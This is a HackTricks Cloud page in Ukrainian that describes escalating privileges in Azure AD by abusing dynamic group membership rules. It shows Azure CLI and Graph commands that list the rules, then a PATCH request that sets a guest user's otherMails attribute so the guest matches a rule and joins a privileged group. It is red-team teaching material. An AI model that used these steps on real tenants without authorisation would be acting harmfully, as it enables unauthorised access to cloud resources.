Az - Динамічні групи Privesc
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Основна інформація
Динамічні групи — це групи, для яких налаштовано набір правил, і всі користувачі або пристрої, що відповідають правилам, додаються до групи. Кожного разу, коли атрибут користувача або пристрою змінюється, динамічні правила перевіряються повторно. І коли створюється нове правило, всі пристрої та користувачі перевіряються.
Динамічним групам можна призначати Azure RBAC roles, але неможливо додати AzureAD roles до динамічних груп.
Ця функція вимагає ліцензії Azure AD premium P1.
Privesc
Зверніть увагу, що за замовчуванням будь-який користувач може запрошувати гостей в Azure AD, тож якщо правило динамічної групи дає права користувачам на підставі атрибутів, які можна встановити у нового гостя, можливо створити гостя з цими атрибутами і escalate privileges. Гість також може керувати власним профілем і змінювати ці атрибути.
Get groups that allow Dynamic membership: az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table
Перерахування динамічних груп
Отримати правила динамічної групи:
За допомогою Azure CLI:
az ad group list \
--filter "groupTypes/any(c:c eq 'DynamicMembership')" \
--query "[].{displayName:displayName, rule:membershipRule}" \
-o table
За допомогою PowerShell та Microsoft Graph SDK:
Install-Module Microsoft.Graph -Scope CurrentUser -Force
Import-Module Microsoft.Graph
Connect-MgGraph -Scopes "Group.Read.All"
Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property Id, DisplayName, GroupTypes
# Get the rules of a specific group
$g = Get-MgGroup -Filter "displayName eq '<GROUP NAME>'" `
-Property DisplayName, GroupTypes, MembershipRule, MembershipRuleProcessingState
$g | Select-Object DisplayName, GroupTypes, MembershipRule
# Get the rules of all dynamic groups
Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property DisplayName, MembershipRule |
Select-Object DisplayName, MembershipRule
Приклад
- Приклад правила:
(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest") - Опис правила: Будь-який гостьовий користувач з додатковою електронною поштою, яка містить рядок ‘security’, буде доданий до групи
Для електронної пошти гостьового користувача, прийміть запрошення та перевірте поточні налаштування цього користувача на https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView.
На жаль, сторінка не дозволяє змінювати значення атрибутів, тому потрібно використовувати API:
# Login with the gust user
az login --allow-no-subscriptions
# Get user object ID
az ad signed-in-user show
# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'
# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"
Посилання
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud

